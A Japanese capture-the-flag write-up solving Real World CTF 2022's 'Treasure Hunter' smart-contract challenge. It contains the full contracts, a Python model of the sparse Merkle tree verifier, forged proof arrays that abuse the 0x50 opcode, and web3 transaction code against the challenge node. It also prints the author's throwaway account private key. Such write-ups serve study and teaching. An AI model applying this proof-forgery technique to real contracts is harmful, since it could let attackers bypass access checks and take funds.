Real World CTF Writeup

Sun Jan 23 2022

    1/21-23 に開催していた Real World CTF にチーム WreckTheLine で参加しました。結果は 5th/947 (得点のあるチームのみカウント) でした。

    基本的に Pwn や Web が主体の CTF で、自分には取っ掛かりすらわからない問題だらけでした。そんな中で "Crypto" タグのついている問題が1つだけあったのでその問題を見てみると Cryptography 問ではなく Cryptocurrency 問でした…ですが最近 Capture the Ether をやり始めたのもあり、なんとか解けました。初 Cryptocurrency 問が解けたのは素直に嬉しいです。スマートな解き方はできなかった気がしますが、せっかくなので writeup を書きます。

    Crypto (currency)

    Treasure Hunter

    21 solves

    TreasureHunter.sol
    pragma solidity >=0.8.0 <0.9.0;
    
    import {SMT} from "./SparseMerkleTree.sol";
    
    contract TreasureHunter {
        bytes32 public root;
        SMT.Mode public smtMode = SMT.Mode.WhiteList;
        bool public solved = false;
    
        mapping(address => bool) public haveKey;
        mapping(address => bool) public haveTreasureChest;
    
        event FindKey(address indexed _from);
        event PickupTreasureChest(address indexed _from);
        event OpenTreasureChest(address indexed _from);
    
        constructor() public {
            root = SMT.init();
            _init();
        }
    
        function _init() internal {
            address[] memory hunters = new address[](8);
            hunters[0] = 0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e;
            hunters[1] = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
            hunters[2] = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
            hunters[3] = 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2;
            hunters[4] = 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B;
            hunters[5] = 0xc00e94Cb662C3520282E6f5717214004A7f26888;
            hunters[6] = 0xD533a949740bb3306d119CC777fa900bA034cd52;
            hunters[7] = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    
            SMT.Leaf[] memory nextLeaves = new SMT.Leaf[](8);
            SMT.Leaf[] memory prevLeaves = new SMT.Leaf[](8);
            for (uint8 i = 0; i < hunters.length; i++) {
                nextLeaves[i] = SMT.Leaf({key: hunters[i], value: 1});
                prevLeaves[i] = SMT.Leaf({key: hunters[i], value: 0});
            }
    
            bytes32[] memory proof = new bytes32[](22);
            proof[0] = 0x000000000000000000000000000000000000000000000000000000000000004c;
            proof[1] = 0x000000000000000000000000000000000000000000000000000000000000004c;
            proof[2] = 0x000000000000000000000000000000000000000000000000000000000000004c;
            proof[3] = 0x000000000000000000000000000000000000000000000000000000000000004c;
            proof[4] = 0x0000000000000000000000000000000000000000000000000000000000000048;
            proof[5] = 0x0000000000000000000000000000000000000000000000000000000000000095;
            proof[6] = 0x0000000000000000000000000000000000000000000000000000000000000048;
            proof[7] = 0x0000000000000000000000000000000000000000000000000000000000000099;
            proof[8] = 0x0000000000000000000000000000000000000000000000000000000000000048;
            proof[9] = 0x000000000000000000000000000000000000000000000000000000000000009e;
            proof[10] = 0x000000000000000000000000000000000000000000000000000000000000004c;
            proof[11] = 0x000000000000000000000000000000000000000000000000000000000000004c;
            proof[12] = 0x000000000000000000000000000000000000000000000000000000000000004c;
            proof[13] = 0x000000000000000000000000000000000000000000000000000000000000004c;
            proof[14] = 0x0000000000000000000000000000000000000000000000000000000000000048;
            proof[15] = 0x000000000000000000000000000000000000000000000000000000000000009b;
            proof[16] = 0x0000000000000000000000000000000000000000000000000000000000000048;
            proof[17] = 0x000000000000000000000000000000000000000000000000000000000000009c;
            proof[18] = 0x0000000000000000000000000000000000000000000000000000000000000048;
            proof[19] = 0x000000000000000000000000000000000000000000000000000000000000009e;
            proof[20] = 0x0000000000000000000000000000000000000000000000000000000000000048;
            proof[21] = 0x000000000000000000000000000000000000000000000000000000000000009f;
    
            root = SMT.update(proof, nextLeaves, prevLeaves, root);
        }
    
        function enter(bytes32[] memory _proofs) public {
            require(haveKey[msg.sender] == false);
            root = SMT.updateSingleTarget(_proofs, msg.sender, root, SMT.Method.Insert);
        }
    
        function leave(bytes32[] memory _proofs) public {
            require(haveTreasureChest[msg.sender] == false);
            root = SMT.updateSingleTarget(_proofs, msg.sender, root, SMT.Method.Delete);
        }
    
        function findKey(bytes32[] memory _proofs) public {
            require(smtMode == SMT.Mode.BlackList, "not blacklist mode");
            address[] memory targets = new address[](1);
            targets[0] = msg.sender;
            require(SMT.verifyByMode(_proofs, targets, root, smtMode), "hunter has fallen into a trap");
            haveKey[msg.sender] = true;
            smtMode = SMT.Mode.WhiteList;
            emit FindKey(msg.sender);
        }
    
        function pickupTreasureChest(bytes32[] memory _proofs) public {
            require(smtMode == SMT.Mode.WhiteList, "not whitelist mode");
            address[] memory targets = new address[](1);
            targets[0] = msg.sender;
            require(
                SMT.verifyByMode(_proofs, targets, root, smtMode),
                "hunter hasn't found the treasure chest"
            );
            haveTreasureChest[msg.sender] = true;
            smtMode = SMT.Mode.BlackList;
            emit PickupTreasureChest(msg.sender);
        }
    
        function openTreasureChest() public {
            require(haveKey[msg.sender] && haveTreasureChest[msg.sender]);
            solved = true;
            emit OpenTreasureChest(msg.sender);
        }
    
        function isSolved() public view returns (bool) {
            return solved;
        }
    }
    SparseMerkleTree.sol
    pragma solidity >=0.8.0 <0.9.0;
    
    uint256 constant SMT_STACK_SIZE = 32;
    uint256 constant DEPTH = 160;
    
    library SMT {
        struct Leaf {
            address key;
            uint8 value;
        }
    
        enum Mode {
            BlackList,
            WhiteList
        }
    
        enum Method {
            Insert,
            Delete
        }
    
        function init() internal pure returns (bytes32) {
            return 0;
        }
    
        function calcLeaf(Leaf memory a) internal pure returns (bytes32) {
            if (a.value == 0) {
                return 0;
            } else {
                return keccak256(abi.encode(a.key, a.value));
            }
        }
    
        function merge(bytes32 l, bytes32 r) internal pure returns (bytes32) {
            if (l == 0) {
                return r;
            } else if (r == 0) {
                return l;
            } else {
                return keccak256(abi.encode(l, r));
            }
        }
    
        function verifyByMode(
            bytes32[] memory _proofs,
            address[] memory _targets,
            bytes32 _expectedRoot,
            Mode _mode
        ) internal pure returns (bool) {
            Leaf[] memory leaves = new Leaf[](_targets.length);
            for (uint256 i = 0; i < _targets.length; i++) {
                leaves[i] = Leaf({key: _targets[i], value: uint8(_mode)});
            }
            return verify(_proofs, leaves, _expectedRoot);
        }
    
        function verify(
            bytes32[] memory _proofs,
            Leaf[] memory _leaves,
            bytes32 _expectedRoot
        ) internal pure returns (bool) {
            return (calcRoot(_proofs, _leaves, _expectedRoot) == _expectedRoot);
        }
    
        function updateSingleTarget(
            bytes32[] memory _proofs,
            address _target,
            bytes32 _prevRoot,
            Method _method
        ) internal pure returns (bytes32) {
            Leaf[] memory nextLeaves = new Leaf[](1);
            Leaf[] memory prevLeaves = new Leaf[](1);
            nextLeaves[0] = Leaf({key: _target, value: uint8(_method) ^ 1});
            prevLeaves[0] = Leaf({key: _target, value: uint8(_method)});
            return update(_proofs, nextLeaves, prevLeaves, _prevRoot);
        }
    
        function update(
            bytes32[] memory _proofs,
            Leaf[] memory _nextLeaves,
            Leaf[] memory _prevLeaves,
            bytes32 _prevRoot
        ) internal pure returns (bytes32) {
            require(verify(_proofs, _prevLeaves, _prevRoot), "update proof not valid");
            return calcRoot(_proofs, _nextLeaves, _prevRoot);
        }
    
        function checkGroupSorted(Leaf[] memory _leaves) internal pure returns (bool) {
            require(_leaves.length >= 1);
            uint160 temp = 0;
            for (uint256 i = 0; i < _leaves.length; i++) {
                if (temp >= uint160(_leaves[i].key)) {
                    return false;
                }
                temp = uint160(_leaves[i].key);
            }
            return true;
        }
    
        function getBit(uint160 key, uint256 height) internal pure returns (uint256) {
            require(height <= DEPTH);
            return (key >> height) & 1;
        }
    
        function parentPath(uint160 key, uint256 height) internal pure returns (uint160) {
            require(height <= DEPTH);
            return copyBit(key, height + 1);
        }
    
        function copyBit(uint160 key, uint256 height) internal pure returns (uint160) {
            require(height <= DEPTH);
            return ((key >> height) << height);
        }
    
        function calcRoot(
            bytes32[] memory _proofs,
            Leaf[] memory _leaves,
            bytes32 _root
        ) internal pure returns (bytes32) {
            require(checkGroupSorted(_leaves));
            uint160[] memory stackKeys = new uint160[](SMT_STACK_SIZE);
            bytes32[] memory stackValues = new bytes32[](SMT_STACK_SIZE);
            uint256 proofIndex = 0;
            uint256 leaveIndex = 0;
            uint256 stackTop = 0;
    
            while (proofIndex < _proofs.length) {
                if (uint256(_proofs[proofIndex]) == 0x4c) {
                    proofIndex++;
                    require(stackTop < SMT_STACK_SIZE);
                    require(leaveIndex < _leaves.length);
                    stackKeys[stackTop] = uint160(_leaves[leaveIndex].key);
                    stackValues[stackTop] = calcLeaf(_leaves[leaveIndex]);
                    stackTop++;
                    leaveIndex++;
                } else if (uint256(_proofs[proofIndex]) == 0x50) {
                    proofIndex++;
                    require(stackTop != 0);
                    require(proofIndex + 2 <= _proofs.length);
    
                    uint256 height = uint256(_proofs[proofIndex++]);
                    bytes32 currentProof = _proofs[proofIndex++];
                    require(currentProof != _root);
                    if (getBit(stackKeys[stackTop - 1], height) == 1) {
                        stackValues[stackTop - 1] = merge(currentProof, stackValues[stackTop - 1]);
                    } else {
                        stackValues[stackTop - 1] = merge(stackValues[stackTop - 1], currentProof);
                    }
                    stackKeys[stackTop - 1] = parentPath(stackKeys[stackTop - 1], height);
                } else if (uint256(_proofs[proofIndex]) == 0x48) {
                    proofIndex++;
                    require(stackTop >= 2);
                    require(proofIndex < _proofs.length);
                    uint256 height = uint256(_proofs[proofIndex++]);
                    uint256 aSet = getBit(stackKeys[stackTop - 2], height);
                    uint256 bSet = getBit(stackKeys[stackTop - 1], height);
                    stackKeys[stackTop - 2] = parentPath(stackKeys[stackTop - 2], height);
                    stackKeys[stackTop - 1] = parentPath(stackKeys[stackTop - 1], height);
                    require(stackKeys[stackTop - 2] == stackKeys[stackTop - 1] && aSet != bSet);
    
                    if (aSet == 1) {
                        stackValues[stackTop - 2] = merge(
                            stackValues[stackTop - 1],
                            stackValues[stackTop - 2]
                        );
                    } else {
                        stackValues[stackTop - 2] = merge(
                            stackValues[stackTop - 2],
                            stackValues[stackTop - 1]
                        );
                    }
                    stackTop -= 1;
                } else {
                    revert();
                }
            }
            require(leaveIndex == _leaves.length);
            require(stackTop == 1);
            return stackValues[0];
        }
    }

    TreasureHunterfindKeypickupTreasureChest を適切な引数を与えて呼び、 haveKey[msg.sender] && haveTreasureChest[msg.sender] を満たすようにすればフラグが手に入ります。

    ひとまずアカウントの発行、 faucet から ETH 取得、 contract の deploy を行います。

    処理の流れを理解するため、 SMT library の calcRoot の動作を重点的に追いました。 stack machine になっており、値 (leaves) を stack に追加したり、 stack 上の値を concat して hash を取ったりするような計算をしています。 いろいろ実験するため、 python で再実装しました。

    from binascii import unhexlify
    from dataclasses import dataclass
    from typing import List, Sequence, Union
    
    from Crypto.Util.number import bytes_to_long
    from eth_abi.abi import encode_abi
    from web3 import Web3
    
    
    def my_hash(a: bytes, b: Union[int, bytes]) -> bytes:
        if isinstance(b, int):
            return unhexlify(Web3.keccak(encode_abi(['address', 'uint8'], ["0x" + a.hex(), b])).hex()[2:])
        elif isinstance(b, bytes):
            return unhexlify(Web3.keccak(encode_abi(['bytes32', 'bytes32'], [a, b])).hex()[2:])
        else:
            raise ValueError
    
    
    @dataclass
    class Leaf:
        key: bytes
        value: int
    
    
    SMT_STACK_SIZE = 32
    DEPTH = 160
    
    
    def calc_leaf(leaf: Leaf) -> bytes:
        if leaf.value == 0:
            return b"\x00" * 32
        else:
            return my_hash(leaf.key, leaf.value)
    
    
    def get_bit(key: int, height: int) -> int:
        assert height <= DEPTH
        return (key >> height) & 1
    
    
    def merge(l: bytes, r: bytes) -> bytes:
        if bytes_to_long(l) == 0:
            return r
        elif bytes_to_long(r) == 0:
            return l
        else:
            return my_hash(l, r)
    
    
    def copy_bit(key: int, height: int) -> int:
        assert height <= DEPTH
        return (key >> height) << height
    
    
    def parent_path(key: int, height: int) -> int:
        assert height <= DEPTH
        return copy_bit(key, height + 1)
    
    
    def calc_root(proofs: Sequence[bytes], leaves: Sequence[Leaf], root: bytes) -> bytes:
        stack_keys: List[int] = [0] * SMT_STACK_SIZE
        stack_values: List[bytes] = [b"\x00" * 32] * SMT_STACK_SIZE
        proof_index = 0
        leave_index = 0
        stack_top = 0
        while proof_index < len(proofs):
            if bytes_to_long(proofs[proof_index]) == 0x4c:
                proof_index += 1
                assert stack_top < SMT_STACK_SIZE
                assert leave_index < len(leaves)
                stack_keys[stack_top] = bytes_to_long(leaves[leave_index].key)
                stack_values[stack_top] = calc_leaf(leaves[leave_index])
                stack_top += 1
                leave_index += 1
            # input: [0x50, height, current_proof]
            # use stack_keys[-2], stack_keys[-1]
            # output to the top of stack_values
            elif bytes_to_long(proofs[proof_index]) == 0x50:
                proof_index += 1
                assert stack_top != 0
                assert proof_index + 2 <= len(proofs)
                height = bytes_to_long(proofs[proof_index])
                proof_index += 1
                current_proof = proofs[proof_index]
                proof_index += 1
                assert current_proof != root
                if get_bit(stack_keys[stack_top - 1], height) == 1:
                    stack_values[stack_top - 1] = merge(current_proof, stack_values[stack_top - 1])
                else:
                    stack_values[stack_top - 1] = merge(stack_values[stack_top - 1], current_proof)
                stack_keys[stack_top - 1] = parent_path(stack_keys[stack_top - 1], height)
            # input: [0x48, height]
            # use stack_keys[-2], stack_keys[-1]
            # output to the top of stack_values
            elif bytes_to_long(proofs[proof_index]) == 0x48:
                proof_index += 1
                assert stack_top >= 2
                assert proof_index < len(proofs)
                height = bytes_to_long(proofs[proof_index])
                proof_index += 1
                a_set = get_bit(stack_keys[stack_top - 2], height)
                b_set = get_bit(stack_keys[stack_top - 1], height)
                stack_keys[stack_top - 2] = parent_path(stack_keys[stack_top - 2], height)
                stack_keys[stack_top - 1] = parent_path(stack_keys[stack_top - 1], height)
                assert stack_keys[stack_top - 2] == stack_keys[stack_top - 1] and a_set != b_set
                if a_set == 1:
                    stack_values[stack_top - 2] = merge(stack_values[stack_top - 1], stack_values[stack_top - 2])
                else:
                    stack_values[stack_top - 2] = merge(stack_values[stack_top - 2], stack_values[stack_top - 1])
                stack_top -= 1
            else:
                raise ValueError
            print(stack_keys[:stack_top])
            print(stack_values[:stack_top])
        assert leave_index == len(leaves)
        assert stack_top == 1
        return stack_values[0]
    
    
    def verify(proofs: Sequence[bytes], leaves: Sequence[Leaf], expected_root: bytes) -> bool:
        return calc_root(proofs, leaves, expected_root) == expected_root
    
    
    def update(proofs: Sequence[bytes], next_leaves: Sequence[Leaf], prev_leaves: Sequence[Leaf], prev_root: bytes) -> bytes:
        assert verify(proofs, prev_leaves, prev_root)
        return calc_root(proofs, next_leaves, prev_root)
    
    
    def update_single_target(proofs: Sequence[bytes], target: bytes, prev_root: bytes, method: int) -> bytes:
        next_leaves = [Leaf(key=target, value=method ^ 1)]
        prev_leaves = [Leaf(key=target, value=method)]
        return update(proofs, next_leaves, prev_leaves, prev_root)

    これで再現できているかは以下のコードで確認しました。実際の contract の root と再計算した root とが一致しているかを確認しています。 contract_abiRemixTreasureHunter.sol をコンパイルし、 Compilation Details から ABI を取得したものです。

    from const import contract_abi
    
    
    w3 = Web3(Web3.HTTPProvider("http://47.243.235.111:8545/"))
    addr_contract = "0xAd0306d232E7aE7Ec4f73fd1ecc1e285f6f72945"
    contract = w3.eth.contract(address=addr_contract, abi=contract_abi)
    
    hunters = [
        long_to_bytes(0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e),
        long_to_bytes(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45),
        long_to_bytes(0x6B175474E89094C44Da98b954EedeAC495271d0F),
        long_to_bytes(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2),
        long_to_bytes(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B),
        long_to_bytes(0xc00e94Cb662C3520282E6f5717214004A7f26888),
        long_to_bytes(0xD533a949740bb3306d119CC777fa900bA034cd52),
        long_to_bytes(0xdAC17F958D2ee523a2206206994597C13D831ec7),
    ]
    leaves = [Leaf(key=hunter, value=1) for hunter in hunters]
    proofs = [
        long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
        long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
        long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
        long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
        long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
        long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000095, 32),
        long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
        long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000099, 32),
        long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
        long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009e, 32),
        long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
        long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
        long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
        long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
        long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
        long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009b, 32),
        long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
        long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009c, 32),
        long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
        long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009e, 32),
        long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
        long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009f, 32),
    ]
    root = calc_root(proofs, leaves, b"\x00" * 32)
    assert root == contract.functions.root().call()

    まず pickupTreasureChest を通すような引数 proofs を考えます。 init でセットされた root を、 Leaf(key=msg.sender, value=1) から生成するのは難しそうなため、 pickupTreasureChest の前に enterroot を更新します。 enter では [Leaf(key=msg.sender, value=0)] が leaves のときに calcRoot の結果が root となるような proofs を指定できます。 python 実装の calc_rootinit 時の stack の変化を観察すると、 root の hash が計算されるときの2つの hash がわかります。すなわち root = hash(stack[-1], stack[-2]) となる stack です。 これを求めるため、以下の get_stack_values_history を書きました。ほぼ calc_root のコピペですが。

    def get_stack_values_history(proofs: Sequence[bytes], leaves: Sequence[Leaf], root: bytes) -> Sequence[Sequence[bytes]]:
        stack_keys: List[int] = [0] * SMT_STACK_SIZE
        stack_values: List[bytes] = [b"\x00" * 32] * SMT_STACK_SIZE
        history_stack = []
        proof_index = 0
        leave_index = 0
        stack_top = 0
        while proof_index < len(proofs):
            if bytes_to_long(proofs[proof_index]) == 0x4c:
                proof_index += 1
                assert stack_top < SMT_STACK_SIZE
                assert leave_index < len(leaves)
                stack_keys[stack_top] = bytes_to_long(leaves[leave_index].key)
                stack_values[stack_top] = calc_leaf(leaves[leave_index])
                stack_top += 1
                leave_index += 1
            # input: [0x50, height, current_proof]
            # use stack_keys[-2], stack_keys[-1]
            # output to the top of stack_values
            elif bytes_to_long(proofs[proof_index]) == 0x50:
                proof_index += 1
                assert stack_top != 0
                assert proof_index + 2 <= len(proofs)
                height = bytes_to_long(proofs[proof_index])
                proof_index += 1
                current_proof = proofs[proof_index]
                proof_index += 1
                assert current_proof != root
                if get_bit(stack_keys[stack_top - 1], height) == 1:
                    stack_values[stack_top - 1] = merge(current_proof, stack_values[stack_top - 1])
                else:
                    stack_values[stack_top - 1] = merge(stack_values[stack_top - 1], current_proof)
                stack_keys[stack_top - 1] = parent_path(stack_keys[stack_top - 1], height)
            # input: [0x48, height]
            # use stack_keys[-2], stack_keys[-1]
            # output to the top of stack_values
            elif bytes_to_long(proofs[proof_index]) == 0x48:
                proof_index += 1
                assert stack_top >= 2
                assert proof_index < len(proofs)
                height = bytes_to_long(proofs[proof_index])
                proof_index += 1
                a_set = get_bit(stack_keys[stack_top - 2], height)
                b_set = get_bit(stack_keys[stack_top - 1], height)
                stack_keys[stack_top - 2] = parent_path(stack_keys[stack_top - 2], height)
                stack_keys[stack_top - 1] = parent_path(stack_keys[stack_top - 1], height)
                assert stack_keys[stack_top - 2] == stack_keys[stack_top - 1] and a_set != b_set
                if a_set == 1:
                    stack_values[stack_top - 2] = merge(stack_values[stack_top - 1], stack_values[stack_top - 2])
                else:
                    stack_values[stack_top - 2] = merge(stack_values[stack_top - 2], stack_values[stack_top - 1])
                stack_top -= 1
            else:
                raise ValueError
            history_stack.append(stack_values[:stack_top].copy())
        assert leave_index == len(leaves)
        assert stack_top == 1
        return history_stack

    これで求まった stack の値を使う proofs を作っていきます。 init のときに使われなかった op の 0x50 に注目すると、 proofs 内の値を stack に積むことができるため、これを利用します。 以下の proofs を作ることで enter が通って root を更新できること、さらに pickupTreasureChest が通ることが確認できました。

    history = get_stack_values_history(proofs, leaves, b"\x00" * 32)
    
    # To send transaction, we need another account because we don't know the private key of given account.
    # tmp_acc = w3.eth.account.create()
    # player = tmp_acc.address  # 0x7BDf56e66e7E5C490E7166BFABDBc1EDf9B66345
    # private_key = tmp_acc.privateKey.hex()  # 0xa9f5f4d1184800568ed0ba05b51b088f898cd98e4170245f4aa90421e486abbd
    player = "0x7BDf56e66e7E5C490E7166BFABDBc1EDf9B66345"
    private_key = "0xa9f5f4d1184800568ed0ba05b51b088f898cd98e4170245f4aa90421e486abbd"
    
    sender = long_to_bytes(int(player, 16))
    proofs = [
        long_to_bytes(0x4c, 32),
        long_to_bytes(0x50, 32),
        long_to_bytes(0, 32),
        history[-2][0],
        long_to_bytes(0x50, 32),
        long_to_bytes(0x9f, 32),
        history[-2][1],
    ]
    # Call enter
    root_updated = update_single_target(proofs, sender, root, 0)
    # This means calling pickupTreasureChest results in success and haveTreasureChest[msg.sender] = true
    assert verify(proofs, [Leaf(key=sender, value=1)], root_updated)

    これを実際の contract の function に与えて呼び出します。 assert 文で root が更新されたこと、 haveTreasureChest が true になったこと、 smtMode が切り替わっていることが確認しています。

    def get_nonce(addr):
        return w3.eth.get_transaction_count(addr)
    
    
    def get_transaction_body(addr):
        return {
            "nonce": get_nonce(addr),
            "gas": 1239137,
            "gasPrice": 21000000000,
            "value": 0,
            "from": addr,
        }
    
    
    def send_transaction(addr, func_name: str, *func_args):
        transaction_body = get_transaction_body(addr)
        function_call = contract.functions[func_name](*func_args).buildTransaction(transaction_body)
        signed_transaction = w3.eth.account.sign_transaction(function_call, private_key)
        result = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
        tx_hash = w3.eth.wait_for_transaction_receipt(result)
        return tx_hash
    
    
    send_transaction(player, "enter", ["0x" + proof.hex() for proof in proofs])
    assert contract.functions.root().call() == root_updated
    
    send_transaction(player, "pickupTreasureChest", ["0x" + proof.hex() for proof in proofs])
    assert contract.functions.root().call() == root_updated
    assert contract.functions.smtMode().call() == 0
    assert contract.functions.haveTreasureChest(player).call()

    続いて findKey を通すことを考えます。こちらも前の calcRoot での stack の値を使うことで、適切な proofs を作れそうです。

    history = get_stack_values_history(proofs, [Leaf(key=sender, value=1)], root_updated)
    proofs = [
        long_to_bytes(0x4c, 32),
        long_to_bytes(0x50, 32),
        long_to_bytes(0, 32),
        history[-2][0],
        long_to_bytes(0x50, 32),
        long_to_bytes(0x9f, 32),
        proofs[-1],
    ]
    assert verify(proofs, [Leaf(key=sender, value=0)], root_updated)

    この proofs を使って findKey を呼び出します。

    send_transaction(player, "findKey", ["0x" + proof.hex() for proof in proofs])
    assert contract.functions.smtMode().call() == 1
    assert contract.functions.root().call() == root_updated
    assert contract.functions.haveKey(player).call()

    最後に openTreasureChest を呼ぶことで solved が true となり、フラグ入手の条件を満たせます。

    send_transaction(player, "openTreasureChest")
    assert contract.functions.isSolved().call()

    rwctf{th3r3_1$_nothing_1n_7h3_7r3a5ure_chest_f7h9fupa9xabbq7a}


    このようにまとめると順調な感じで解いたように見えますが、めちゃくちゃ詰まりました… (丸一日 + 数時間) Cryptocurrency 問に不慣れだったため仕方なし。今後のために詰まったポイントをメモしておきます。

    • 与えられたアカウントの private key がわからない

    アカウントを生成するとき、 address と token が与えられるのですが、 private key は与えられません。そのため、与えられたアカウントでは transaction を行うことができません。 以上の writeup では transaction 用のアカウントを自前で作ることでこれを解決しています。 競技中の自分は、この問題の本質は token から private key を求める部分で、これがまさしく Crypto 問なのでは、などと大きく勘違いをし、迷走していました…ずっと pasato の仕様を読み込んでいました。

    • 自前の contract を deploy できない

    Capture the Ether で relay contract を学んでいたので、 Solver 用の contract を自前実装し、それを使ってこの問題を解こうと考えていました。実装はこちら。

    pragma solidity >=0.8.0 <0.9.0;
    
    import {TreasureHunter} from "./TreasureHunter.sol";
    
    contract TreasureHunterSolver {
        constructor() public {
        }
        function enter(address _addr, bytes32[] memory _proofs) public {
            TreasureHunter th = TreasureHunter(_addr);
            th.enter(_proofs);
        }
        function leave(address _addr, bytes32[] memory _proofs) public {
            TreasureHunter th = TreasureHunter(_addr);
            th.leave(_proofs);
        }
        function findKey(address _addr, bytes32[] memory _proofs) public {
            TreasureHunter th = TreasureHunter(_addr);
            th.findKey(_proofs);
        }
        function pickupTreasureChest(address _addr, bytes32[] memory _proofs) public {
            TreasureHunter th = TreasureHunter(_addr);
            th.pickupTreasureChest(_proofs);
        }
        function openTreasureChest(address _addr) public {
            TreasureHunter th = TreasureHunter(_addr);
            th.openTreasureChest();
        }
        function isSolved(address _addr) public view returns (bool) {
            TreasureHunter th = TreasureHunter(_addr);
            return th.isSolved();
        }
    }

    この contract から、問題用 contract を呼び出して問題を解こうとしました。しかし、何故か deploy ができません… deploy に使用したコードは以下になります。

    solver_player = "0x7BDf56e66e7E5C490E7166BFABDBc1EDf9B66345"
    solver_private_key = "0xa9f5f4d1184800568ed0ba05b51b088f898cd98e4170245f4aa90421e486abbd"
    
    solver_transaction_body = {
        "nonce": get_nonce(player),
        "gas": 1239137,
        "gasPrice": 21000000000,
        "value": 0,
        "from": solver_player,
        "chainId": w3.eth.chain_id,
    }
    
    solver_contract = w3.eth.contract(abi=solver_contract_abi, bytecode=json.loads(solver_bytecode)["object"])
    solver_function_call = solver_contract.constructor().buildTransaction(solver_transaction_body)
    solver_signed_transaction = w3.eth.account.sign_transaction(solver_function_call, solver_private_key)
    result = w3.eth.send_raw_transaction(solver_signed_transaction.rawTransaction)
    
    # これが一生終わらない
    tx_hash = w3.eth.wait_for_transaction_receipt(result)

    deploy した transaction が全然 block に繋がらないようです。 これは原因はまだわかっていません。 geth の設定の問題なんですかね。 冷静に考えると relay にする必要が一切なかったため、以上の問題ではこの Solver contract は使用していません。